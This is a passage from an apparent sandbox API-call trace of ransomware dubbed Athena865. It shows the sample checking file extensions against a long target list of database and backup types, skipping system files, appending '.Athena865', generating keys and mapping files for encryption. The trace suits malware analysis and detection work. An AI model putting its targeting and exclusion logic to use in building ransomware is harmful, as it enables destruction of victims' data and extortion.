returned 1 [0141.423] lstrlenW (lpString="frm") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="frm") returned 1 [0141.424] lstrlenW (lpString="gdb") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="gdb") returned 1 [0141.424] lstrlenW (lpString="gdb") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="gdb") returned 1 [0141.424] lstrlenW (lpString="grdb") returned 4 [0141.424] lstrcmpiW (lpString1=".HXK", lpString2="grdb") returned -1 [0141.424] lstrlenW (lpString="gwi") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="gwi") returned 1 [0141.424] lstrlenW (lpString="hdb") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="hdb") returned 1 [0141.424] lstrlenW (lpString="his") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="his") returned 1 [0141.424] lstrlenW (lpString="ib") returned 2 [0141.424] lstrcmpiW (lpString1="XK", lpString2="ib") returned 1 [0141.424] lstrlenW (lpString="idb") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="idb") returned -1 [0141.424] lstrlenW (lpString="ihx") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="ihx") returned -1 [0141.424] lstrlenW (lpString="itdb") returned 4 [0141.424] lstrcmpiW (lpString1=".HXK", lpString2="itdb") returned -1 [0141.424] lstrlenW (lpString="itw") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="itw") returned -1 [0141.424] lstrlenW (lpString="jet") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="jet") returned -1 [0141.424] lstrlenW (lpString="jtx") returned 3 [0141.424] lstrcmpiW (lpString1="HXK", lpString2="jtx") returned -1 [0141.424] lstrlenW (lpString="kdb") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="kdb") returned -1 [0141.425] lstrlenW (lpString="kexi") returned 4 [0141.425] lstrcmpiW (lpString1=".HXK", lpString2="kexi") returned -1 [0141.425] lstrlenW (lpString="kexic") returned 5 [0141.425] lstrcmpiW (lpString1="L.HXK", lpString2="kexic") returned 1 [0141.425] lstrlenW (lpString="kexis") returned 5 [0141.425] lstrcmpiW (lpString1="L.HXK", lpString2="kexis") returned 1 [0141.425] lstrlenW (lpString="lgc") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="lgc") returned -1 [0141.425] lstrlenW (lpString="lwx") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="lwx") returned -1 [0141.425] lstrlenW (lpString="maf") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="maf") returned -1 [0141.425] lstrlenW (lpString="maq") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="maq") returned -1 [0141.425] lstrlenW (lpString="mar") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="mar") returned -1 [0141.425] lstrlenW (lpString="marshal") returned 7 [0141.425] lstrcmpiW (lpString1="COL.HXK", lpString2="marshal") returned -1 [0141.425] lstrlenW (lpString="mas") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="mas") returned -1 [0141.425] lstrlenW (lpString="mav") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="mav") returned -1 [0141.425] lstrlenW (lpString="maw") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="maw") returned -1 [0141.425] lstrlenW (lpString="mdbhtml") returned 7 [0141.425] lstrcmpiW (lpString1="COL.HXK", lpString2="mdbhtml") returned -1 [0141.425] lstrlenW (lpString="mdn") returned 3 [0141.425] lstrcmpiW (lpString1="HXK", lpString2="mdn") returned -1 [0141.426] lstrlenW (lpString="mdt") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="mdt") returned -1 [0141.426] lstrlenW (lpString="mfd") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="mfd") returned -1 [0141.426] lstrlenW (lpString="mpd") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="mpd") returned -1 [0141.426] lstrlenW (lpString="mrg") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="mrg") returned -1 [0141.426] lstrlenW (lpString="mud") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="mud") returned -1 [0141.426] lstrlenW (lpString="mwb") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="mwb") returned -1 [0141.426] lstrlenW (lpString="myd") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="myd") returned -1 [0141.426] lstrlenW (lpString="ndf") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="ndf") returned -1 [0141.426] lstrlenW (lpString="nnt") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="nnt") returned -1 [0141.426] lstrlenW (lpString="nrmlib") returned 6 [0141.426] lstrcmpiW (lpString1="OL.HXK", lpString2="nrmlib") returned 1 [0141.426] lstrlenW (lpString="ns2") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="ns2") returned -1 [0141.426] lstrlenW (lpString="ns3") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="ns3") returned -1 [0141.426] lstrlenW (lpString="ns4") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="ns4") returned -1 [0141.426] lstrlenW (lpString="nsf") returned 3 [0141.426] lstrcmpiW (lpString1="HXK", lpString2="nsf") returned -1 [0141.426] lstrlenW (lpString="nv") returned 2 [0141.427] lstrcmpiW (lpString1="XK", lpString2="nv") returned 1 [0141.427] lstrlenW (lpString="nv2") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="nv2") returned -1 [0141.427] lstrlenW (lpString="nwdb") returned 4 [0141.427] lstrcmpiW (lpString1=".HXK", lpString2="nwdb") returned -1 [0141.427] lstrlenW (lpString="nyf") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="nyf") returned -1 [0141.427] lstrlenW (lpString="odb") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="odb") returned -1 [0141.427] lstrlenW (lpString="odb") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="odb") returned -1 [0141.427] lstrlenW (lpString="oqy") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="oqy") returned -1 [0141.427] lstrlenW (lpString="ora") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="ora") returned -1 [0141.427] lstrlenW (lpString="orx") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="orx") returned -1 [0141.427] lstrlenW (lpString="owc") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="owc") returned -1 [0141.427] lstrlenW (lpString="p96") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="p96") returned -1 [0141.427] lstrlenW (lpString="p97") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="p97") returned -1 [0141.427] lstrlenW (lpString="pan") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="pan") returned -1 [0141.427] lstrlenW (lpString="pdb") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="pdb") returned -1 [0141.427] lstrlenW (lpString="pdm") returned 3 [0141.427] lstrcmpiW (lpString1="HXK", lpString2="pdm") returned -1 [0141.428] lstrlenW (lpString="pnz") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="pnz") returned -1 [0141.428] lstrlenW (lpString="qry") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="qry") returned -1 [0141.428] lstrlenW (lpString="qvd") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="qvd") returned -1 [0141.428] lstrlenW (lpString="rbf") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="rbf") returned -1 [0141.428] lstrlenW (lpString="rctd") returned 4 [0141.428] lstrcmpiW (lpString1=".HXK", lpString2="rctd") returned -1 [0141.428] lstrlenW (lpString="rod") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="rod") returned -1 [0141.428] lstrlenW (lpString="rodx") returned 4 [0141.428] lstrcmpiW (lpString1=".HXK", lpString2="rodx") returned -1 [0141.428] lstrlenW (lpString="rpd") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="rpd") returned -1 [0141.428] lstrlenW (lpString="rsd") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="rsd") returned -1 [0141.428] lstrlenW (lpString="sas7bdat") returned 8 [0141.428] lstrcmpiW (lpString1="_COL.HXK", lpString2="sas7bdat") returned -1 [0141.428] lstrlenW (lpString="sbf") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="sbf") returned -1 [0141.428] lstrlenW (lpString="scx") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="scx") returned -1 [0141.428] lstrlenW (lpString="sdb") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="sdb") returned -1 [0141.428] lstrlenW (lpString="sdc") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="sdc") returned -1 [0141.428] lstrlenW (lpString="sdf") returned 3 [0141.428] lstrcmpiW (lpString1="HXK", lpString2="sdf") returned -1 [0141.429] lstrlenW (lpString="sis") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="sis") returned -1 [0141.429] lstrlenW (lpString="spq") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="spq") returned -1 [0141.429] lstrlenW (lpString="te") returned 2 [0141.429] lstrcmpiW (lpString1="XK", lpString2="te") returned 1 [0141.429] lstrlenW (lpString="teacher") returned 7 [0141.429] lstrcmpiW (lpString1="COL.HXK", lpString2="teacher") returned -1 [0141.429] lstrlenW (lpString="tmd") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="tmd") returned -1 [0141.429] lstrlenW (lpString="tps") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="tps") returned -1 [0141.429] lstrlenW (lpString="trc") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="trc") returned -1 [0141.429] lstrlenW (lpString="trc") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="trc") returned -1 [0141.429] lstrlenW (lpString="trm") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="trm") returned -1 [0141.429] lstrlenW (lpString="udb") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="udb") returned -1 [0141.429] lstrlenW (lpString="udl") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="udl") returned -1 [0141.429] lstrlenW (lpString="usr") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="usr") returned -1 [0141.429] lstrlenW (lpString="v12") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="v12") returned -1 [0141.429] lstrlenW (lpString="vis") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="vis") returned -1 [0141.429] lstrlenW (lpString="vpd") returned 3 [0141.429] lstrcmpiW (lpString1="HXK", lpString2="vpd") returned -1 [0141.430] lstrlenW (lpString="vvv") returned 3 [0141.430] lstrcmpiW (lpString1="HXK", lpString2="vvv") returned -1 [0141.430] lstrlenW (lpString="wdb") returned 3 [0141.430] lstrcmpiW (lpString1="HXK", lpString2="wdb") returned -1 [0141.430] lstrlenW (lpString="wmdb") returned 4 [0141.430] lstrcmpiW (lpString1=".HXK", lpString2="wmdb") returned -1 [0141.430] lstrlenW (lpString="wrk") returned 3 [0141.430] lstrcmpiW (lpString1="HXK", lpString2="wrk") returned -1 [0141.430] lstrlenW (lpString="xdb") returned 3 [0141.430] lstrcmpiW (lpString1="HXK", lpString2="xdb") returned -1 [0141.430] lstrlenW (lpString="xld") returned 3 [0141.430] lstrcmpiW (lpString1="HXK", lpString2="xld") returned -1 [0141.430] lstrlenW (lpString="xmlff") returned 5 [0141.430] lstrcmpiW (lpString1="L.HXK", lpString2="xmlff") returned -1 [0141.430] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.Athena865") returned 82 [0141.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0141.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.432] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0141.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.432] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.433] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.433] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.433] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0141.435] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0141.436] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.437] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.437] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.438] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.438] CloseHandle (hObject=0x17c) returned 1 [0141.438] CloseHandle (hObject=0x154) returned 1 [0141.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.438] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATH_COL.HXC", cAlternateFileName="INFOPA~1.HXC")) returned 1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2=".") returned 1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="..") returned 1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="windows") returned -1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="bootmgr") returned 1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="temp") returned -1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="pagefile.sys") returned -1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="boot") returned 1 [0141.438] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="ids.txt") returned 1 [0141.439] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="ntuser.dat") returned -1 [0141.439] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="perflogs") returned -1 [0141.439] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2="MSBuild") returned -1 [0141.439] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16 [0141.439] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATH_COL.HXC" | out: lpString1="INFOPATH_COL.HXC") returned="INFOPATH_COL.HXC" [0141.439] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16 [0141.439] lstrlenW (lpString="Athena865") returned 9 [0141.439] lstrcmpiW (lpString1="H_COL.HXC", lpString2="Athena865") returned 1 [0141.439] lstrlenW (lpString=".dll") returned 4 [0141.439] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2=".dll") returned 1 [0141.439] lstrlenW (lpString=".lnk") returned 4 [0141.439] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2=".lnk") returned 1 [0141.439] lstrlenW (lpString=".ini") returned 4 [0141.439] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2=".ini") returned 1 [0141.439] lstrlenW (lpString=".sys") returned 4 [0141.439] lstrcmpiW (lpString1="INFOPATH_COL.HXC", lpString2=".sys") returned 1 [0141.439] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16 [0141.439] lstrlenW (lpString="bak") returned 3 [0141.439] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0141.439] lstrlenW (lpString="ba_") returned 3 [0141.439] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0141.439] lstrlenW (lpString="dbb") returned 3 [0141.439] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0141.439] lstrlenW (lpString="vmdk") returned 4 [0141.439] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0141.439] lstrlenW (lpString="rar") returned 3 [0141.439] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0141.439] lstrlenW (lpString="zip") returned 3 [0141.439] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0141.439] lstrlenW (lpString="tgz") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0141.440] lstrlenW (lpString="vbox") returned 4 [0141.440] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0141.440] lstrlenW (lpString="vdi") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0141.440] lstrlenW (lpString="vhd") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0141.440] lstrlenW (lpString="vhdx") returned 4 [0141.440] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0141.440] lstrlenW (lpString="avhd") returned 4 [0141.440] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0141.440] lstrlenW (lpString="db") returned 2 [0141.440] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0141.440] lstrlenW (lpString="db2") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0141.440] lstrlenW (lpString="db3") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0141.440] lstrlenW (lpString="dbf") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0141.440] lstrlenW (lpString="mdf") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0141.440] lstrlenW (lpString="mdb") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0141.440] lstrlenW (lpString="sql") returned 3 [0141.440] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0141.440] lstrlenW (lpString="sqlite") returned 6 [0141.440] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0141.440] lstrlenW (lpString="sqlite3") returned 7 [0141.440] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0141.440] lstrlenW (lpString="sqlitedb") returned 8 [0141.440] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0141.441] lstrlenW (lpString="xml") returned 3 [0141.441] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0141.441] lstrlenW (lpString="$er") returned 3 [0141.441] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0141.441] lstrlenW (lpString="4dd") returned 3 [0141.441] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0141.441] lstrlenW (lpString="4dl") returned 3 [0141.441] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0141.441] lstrlenW (lpString="^^^") returned 3 [0141.441] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0141.441] lstrlenW (lpString="abs") returned 3 [0141.441] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0141.441] lstrlenW (lpString="abx") returned 3 [0141.441] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0141.441] lstrlenW (lpString="accdb") returned 5 [0141.441] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0141.441] lstrlenW (lpString="accdc") returned 5 [0141.441] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0141.441] lstrlenW (lpString="accde") returned 5 [0141.441] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0141.441] lstrlenW (lpString="accdr") returned 5 [0141.441] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0141.441] lstrlenW (lpString="accdt") returned 5 [0141.441] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0141.441] lstrlenW (lpString="accdw") returned 5 [0141.441] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0141.441] lstrlenW (lpString="accft") returned 5 [0141.441] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0141.441] lstrlenW (lpString="adb") returned 3 [0141.441] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0141.442] lstrlenW (lpString="adb") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0141.442] lstrlenW (lpString="ade") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0141.442] lstrlenW (lpString="adf") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0141.442] lstrlenW (lpString="adn") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0141.442] lstrlenW (lpString="adp") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0141.442] lstrlenW (lpString="alf") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0141.442] lstrlenW (lpString="ask") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0141.442] lstrlenW (lpString="btr") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0141.442] lstrlenW (lpString="cat") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0141.442] lstrlenW (lpString="cdb") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0141.442] lstrlenW (lpString="ckp") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0141.442] lstrlenW (lpString="cma") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0141.442] lstrlenW (lpString="cpd") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0141.442] lstrlenW (lpString="dacpac") returned 6 [0141.442] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0141.442] lstrlenW (lpString="dad") returned 3 [0141.442] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0141.443] lstrlenW (lpString="dadiagrams") returned 10 [0141.443] lstrcmpiW (lpString1="TH_COL.HXC", lpString2="dadiagrams") returned 1 [0141.443] lstrlenW (lpString="daschema") returned 8 [0141.443] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0141.443] lstrlenW (lpString="db-journal") returned 10 [0141.443] lstrcmpiW (lpString1="TH_COL.HXC", lpString2="db-journal") returned 1 [0141.443] lstrlenW (lpString="db-shm") returned 6 [0141.443] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0141.443] lstrlenW (lpString="db-wal") returned 6 [0141.443] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0141.443] lstrlenW (lpString="dbc") returned 3 [0141.443] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0141.443] lstrlenW (lpString="dbs") returned 3 [0141.443] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0141.443] lstrlenW (lpString="dbt") returned 3 [0141.443] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0141.443] lstrlenW (lpString="dbv") returned 3 [0141.443] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0141.443] lstrlenW (lpString="dbx") returned 3 [0141.443] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0141.443] lstrlenW (lpString="dcb") returned 3 [0141.443] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0141.443] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.Athena865") returned 74 [0141.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.athena865"), dwFlags=0x1) returned 1 [0141.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.445] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=636) returned 1 [0141.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.445] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.446] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.446] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.446] CreateFileMappingW (hFile=0x154, 